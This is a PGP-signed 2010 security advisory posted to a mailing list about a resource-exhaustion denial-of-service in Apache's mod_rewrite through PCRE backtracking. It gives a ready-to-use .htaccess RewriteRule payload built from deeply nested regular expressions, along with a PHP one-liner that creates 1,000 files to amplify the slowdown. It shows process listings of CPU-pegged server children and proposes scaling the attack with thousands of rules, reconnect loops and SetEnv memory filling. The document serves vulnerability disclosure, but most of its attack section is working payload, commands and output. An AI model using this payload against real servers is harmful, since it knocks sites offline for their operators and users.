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Apache Insecure mod_rewrite PCRE Resource Exhaustion
From: Maksymilian Arciemowicz <cxib () securityreason com>
Date: Tue, 21 Dec 2010 00:42:14 +0100
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ Apache Insecure mod_rewrite PCRE Resource Exhaustion ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - - Dis.: 19.09.2010 - - Pub.: 21.12.2010 Affected (tested): - - NetBSD 5.0.2 (Apache 2.2.17 PHP 5.3.4) - - Ubuntu 10.10 (Apache 2.2.16 PHP 5.3.3) Original URL: http://securityreason.com/achievement_securityalert/92 - --- 0.Description --- The Apache HTTP Server, commonly referred to as Apache, is web server software notable for playing a key role in the initial growth of the World Wide Web. In 2009 it became the first web server software to surpass the 100 million web site milestone The PCRE(Perl Compatible Regular Expressions) library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE has its own native API, as well as a set of wrapper functions that correspond to the POSIX regular expression API. The PCRE library is free, even for building proprietary software. - --- 1. Apache Insecure mod_rewrite PCRE Resource Exhaustion --- Using mod_rewrite and PCRE libs can be dangerous for stability apache server. Everybody know that using pcre regular expressions generate possible risk of DoS attack , and using multiple regular expressions in .htaccess is not good idea. I will show possibility DoS attack using .htaccess. Off course we can try configure our machine to be safe, anyway many servers are affected for this. Many versions of regular expressions, has no control over what executes. Example tags: let's see what will happen in firefox for this expression: .*.*.*(\w+)$1 Nothing special. Try this: .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(\w+)$1 result in Firefox javascirpt: "Warning: Unresponsive script" Long execution in pcre generate "Unresponsive script". That same algorithm we can use in .htaccess $ httpd -v && php -v Server version: Apache/2.2.17 (Unix) Server built: Nov 11 2010 19:51:37 PHP 5.3.4 (cli) (built: Nov 11 2010 17:17:35) Copyright (c) 1997-2010 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies $ pwd && ls -la /home/cx/public_html total 4 drwxrwxrwx 2 cx cx 512 Dec 19 01:10 . drwxr-xr-x 12 cx wheel 1024 Dec 19 01:10 .. $ vi poc.php $ ls -la . total 8 drwxrwxrwx 2 cx cx 512 Dec 19 01:16 . drwxr-xr-x 12 cx wheel 1024 Dec 19 01:10 .. - -rw-r--r-- 1 cx cx 2665 Dec 19 01:18 poc.php and remote request to poc.php cx@cx64:~$ curl http://172.16.124.128/~cx/poc.php on the server, any apache childs will stop in .htaccess (mod_rewrite => PCRE) # ps -aux -U www USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 503 13.8 2.4 35620 27420 ? R 1:19AM 0:04.94 /usr/pkg/sbin/httpd -k start www 414 9.6 2.3 33572 25400 ? R 1:20AM 0:03.24 /usr/pkg/sbin/httpd -k start www 474 7.9 2.2 32548 24544 ? R 1:19AM 0:02.17 /usr/pkg/sbin/httpd -k start www 345 6.5 2.1 31524 23888 ? R 1:19AM 0:01.79 /usr/pkg/sbin/httpd -k start www 482 7.0 1.9 29476 21536 ? R 1:22AM 0:00.94 /usr/pkg/sbin/httpd -k start www 495 4.6 2.0 30500 22944 ? R 1:19AM 0:01.24 /usr/pkg/sbin/httpd -k start www 844 3.2 0.5 11980 5280 ? S 1:22AM 0:00.94 /usr/pkg/libexec/cgi-bin/php www 289 2.2 1.0 19236 10888 ? R 1:22AM 0:00.23 /usr/pkg/sbin/httpd -k start www 859 3.2 1.5 25380 17220 ? R 1:22AM 0:00.44 /usr/pkg/sbin/httpd -k start www 337 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 502 0.0 0.3 11988 3252 ? S 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 543 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 554 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 754 0.0 0.4 12068 3940 ? S 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 955 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 979 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start # ps -aux -U www USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 389 4.0 1.9 29476 21360 ? R 1:22AM 0:00.80 /usr/pkg/sbin/httpd -k start www 455 4.3 1.8 28452 20080 ? R 1:22AM 0:00.55 /usr/pkg/sbin/httpd -k start www 712 4.9 1.8 27428 19688 ? R 1:22AM 0:00.51 /usr/pkg/sbin/httpd -k start www 516 3.8 2.1 31524 23632 ? R 1:22AM 0:02.05 /usr/pkg/sbin/httpd -k start ... www 1011 2.3 2.0 30500 21980 ? R 1:22AM 0:01.16 /usr/pkg/sbin/httpd -k start www 398 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 400 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 502 0.0 0.3 11988 3252 ? I 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 653 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 754 0.0 0.4 12068 3940 ? I 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 844 0.0 0.5 11980 5280 ? S 1:22AM 0:00.95 /usr/pkg/libexec/cgi-bin/php www 908 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 1043 0.0 0.3 12068 3160 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start If we set Timeout 3 MaxKeepAliveRequests 5 KeepAliveTimeout 5 MaxClients 7 # ps -aux -Uwww USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 322 15.7 3.1 42788 34296 ? R 2:10AM 5:43.96 /usr/pkg/sbin/httpd -k start www 565 15.8 3.1 42788 34296 ? R 2:10AM 5:43.24 /usr/pkg/sbin/httpd -k start www 504 14.6 3.1 42788 34296 ? R 2:10AM 5:51.36 /usr/pkg/sbin/httpd -k start www 598 14.7 3.1 42788 34296 ? R 2:10AM 5:38.71 /usr/pkg/sbin/httpd -k start www 690 14.6 3.1 42788 34296 ? R 2:10AM 5:43.85 /usr/pkg/sbin/httpd -k start www 694 15.1 3.1 42788 34296 ? R 2:10AM 5:43.57 /usr/pkg/sbin/httpd -k start www 603 0.0 0.3 11988 3228 ? I 2:10AM 0:00.01 /usr/pkg/sbin/httpd -k start www 623 0.0 0.5 11980 5304 ? S 2:10AM 0:00.29 /usr/pkg/libexec/cgi-bin/php www 631 0.0 0.3 12068 3880 ? I 2:10AM 0:00.01 /usr/pkg/sbin/httpd -k start # telnet 172.16.124.128 80 Trying 172.16.124.128... telnet: Unable to connect to remote host: Connection timed out Extending this error, we may block the work of apache daemon with mod_rewrite. - -.htaccess--- RewriteEngine On RewriteRule ((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\ w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)) /$1 - -.htaccess--- cx@cx64:/www/czarnadupa$ ls -la total 12 drwxr-xr-x 2 cx cx 4096 2010-10-25 00:06 . drwxr-xr-x 6 cx root 4096 2010-10-25 00:04 .. - -rw-r--r-- 1 cx cx 1252 2010-10-25 00:06 .htaccess cx@cx64:/www/czarnadupa$ cat .htaccess RewriteEngine On RewriteRule ((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\ w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)) /$1 from another console, let's try connect via curl cx@cx64:~$ curl http://127.0.0.1/czarnadupa/ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /czarnadupa</title> .. we get result after 3.35sec delay. If we use multiple time RewriteRule, we can lengthen to 6,9,12,.. sec. Let's back to first terminal and create 1000 files cx@cx64:/www/czarnadupa$ php -r 'for($a=0;$a<1000;$a++){$f=fopen("test".$a,"a");fclose($f);}' cx@cx64:/www/czarnadupa$ ls test0 test210 test323 test436 test549 test661 test774 test887 test1 test211 test324 test437 test55 test662 test775 test888 test10 test212 test325 test438 test550 test663 test776 test889 ... and now try to connect via curl. For One RewriteRule in .htaccess, it will be more as 3 min. www-data 11177 31.2 0.2 177888 6520 ? R 00:06 3:25 /usr/sbin/apache2 -k start 3.25min and CPU 100% and in end with 7min delay! If we use two times RewriteRule in .htaccess, that will be ~14min www-data 11180 45.8 0.2 177888 6520 ? R 00:06 14:01 /usr/sbin/apache2 -k start www-data 11180 45.8 0.2 177888 6804 ? S 00:06 14:03 /usr/sbin/apache2 -k start exacly 14:01 min. Now is comming question "What will happen, when we create .htaccess with many RewriteRule?" The answer is simple and you can calculate it yourself. But if we will more that 7min for one RewriteRule, we need create more files in attacked directory or modify regular expression. for 2 files, it was 3 sec, for 1002 files, it was 7min. If we increased complexity of RewriteRule value, apache child will execute in a longer time. The main problem is that the any processes is working 100% CPU usage. So what will happen when we disconnect and connect again? Now think what happens when we create the 2,000 files and a thousand RewriteRule Rules. Then create loop what connect<->disconnect with apache. Now let's see to docs from apache22 http://httpd.apache.org/docs/current/mod/core.html#rlimitmem - --- This applies to processes forked off from Apache children servicing requests, not the Apache children themselves. This includes CGI scripts and SSI exec commands, but not any processes forked off from the Apache parent such as piped logs. - --- So rlimitmem don't protect us before memory exhaustion. Only variables from lgoin.conf or pam, protect our apache server before reaching memory or processes limits. But if one apache child can contain example ~256MB memory, we can use SetEnv in .htaccess to allocate data into memory. Logs: 4613 www-data 20 0 298m 130m 944 R 64 4.3 0:03.20 apache2 4614 www-data 20 0 295m 127m 944 R 42 4.2 0:02.11 apache2 4615 www-data 20 0 280m 113m 944 R 25 3.7 0:01.24 apache2 or when httpd will reach MaxClient www-data 1620 9.2 4.8 563252 148340 ? R 12:26 5:08 /usr/sbin/apache2 -k start www-data 1621 9.4 4.7 564064 145976 ? R 12:26 5:13 /usr/sbin/apache2 -k start www-data 1622 9.2 4.6 563252 144484 ? R 12:26 5:07 /usr/sbin/apache2 -k start www-data 1623 9.2 4.7 563524 147264 ? R 12:26 5:09 /usr/sbin/apache2 -k start www-data 2361 9.6 4.5 563524 139140 ? R 12:28 5:11 /usr/sbin/apache2 -k start www-data 2362 9.6 4.4 563388 137856 ? R 12:28 5:10 /usr/sbin/apache2 -k start www-data 2363 9.5 4.4 562980 136792 ? R 12:28 5:07 /usr/sbin/apache2 -k start www-data 2365 9.5 4.1 562980 129048 ? R 12:28 5:06 /usr/sbin/apache2 -k start www-data 2366 9.5 3.8 562844 120308 ? R 12:28 5:06 /usr/sbin/apache2 -k start www-data 2367 9.5 3.8 562980 119300 ? R 12:28 5:07 /usr/sbin/apache2 -k start www-data 2368 9.6 3.7 563116 117176 ? R 12:28 5:09 /usr/sbin/apache2 -k start www-data 2369 9.6 3.7 563116 114492 ? R 12:28 5:09 /usr/sbin/apache2 -k start www-data 2370 9.5 3.4 562708 107224 ? R 12:28 5:05 /usr/sbin/apache2 -k start www-data 2372 9.5 3.7 562708 116324 ? R 12:28 5:06 /usr/sbin/apache2 -k start www-data 2373 9.5 4.0 562844 125068 ? R 12:28 5:06 /usr/sbin/apache2 -k start www-data 2374 9.6 3.5 563116 110868 ? R 12:28 5:09 /usr/sbin/apache2 -k start www-data 2375 9.6 4.1 562980 128492 ? R 12:28 5:08 /usr/sbin/apache2 -k start www-data 2377 9.6 4.4 562980 135968 ? R 12:28 5:08 /usr/sbin/apache2 -k start www-data 2378 9.6 4.7 562980 145420 ? D 12:28 5:08 /usr/sbin/apache2 -k start ... any apache children will generate 100% CPU usage. For example one apache child with 193 min running time. 3127 94.4 9.3 645716 289020 ? R 13:23 193:50 /usr/sbin/apache2 - -k start - --- 2. Exploit --- Remove .htaccess before running this script from www or simple use command line PoC used in description. http://cxib.net/stuff/rewrite.pcre.txt - --- 3. Greets --- sp3x, Infospec - --- 4. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/ - -- Best Regards pub 4096R/D6E5B530 2010-09-19 uid Maksymilian Arciemowicz (cx) <max () cxib net> sub 4096R/58BA663C 2010-09-19 -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJND+nUAAoJEIO8+dzW5bUwNWQP/RsGUPKgpTiffVVATX4XNU6e sTCCnJTxxQbjceRdiIClXEKfXrGfzrnaAIBst3d6kttCUJNuQIXSVBkhELwr41Zb nAqscsbJHkfmBmlOnJH8RnhUveWrWoMRVpeW0gy49q1gBobvkq3IeYxH2bhNFvdO Hfzn/HQ7YPc/RQKnO/61QLxnPOXlHnGBkSca79TWGfd4RXpRDd8Jj8mLSFZNjQX1 teG/kY6Q5fHleSKIGSuiFpEhY71WyTfqfK40y5KSjBA3kKXrYdowxIk9Ya1RxHmq oT1mImSdop0Kq+vXY+wdlN2vTvvOabfu0PoazqpsR3dYvrKxcnsHFuZRo2u8T372 qeRKb3g9m9bPPXrjCO7lGUmCl3yS39lF9d21k+jJwhorcjVQyOi7QxKIXkQarC/w ZAg5ZjT0/ZwGWhWSLWqs1XcjgNljcfGgIwIxVOzZQs2KzUwouQV7gNykDzyDEjJx JQECB76b//fvMJ155d9Liw+Xgrlntd0hEgnr2xUcagT4nuDumTLR0Pj2Aa3om4oA OHNDk7SOlIUELI8OIVdXvL+UKiIXD6de29rCdgh+pXcaT0r+1Z1D1FcrK8ESNz0E y1C/xIWEvyIMJPcleVHgvA31go4XaSYT4A6GiOzS7n6oS1jSZ2wN8oN1NspwY+aL z+GjC/fhyFvheNlz5YXt =ZUzZ -----END PGP SIGNATURE-----
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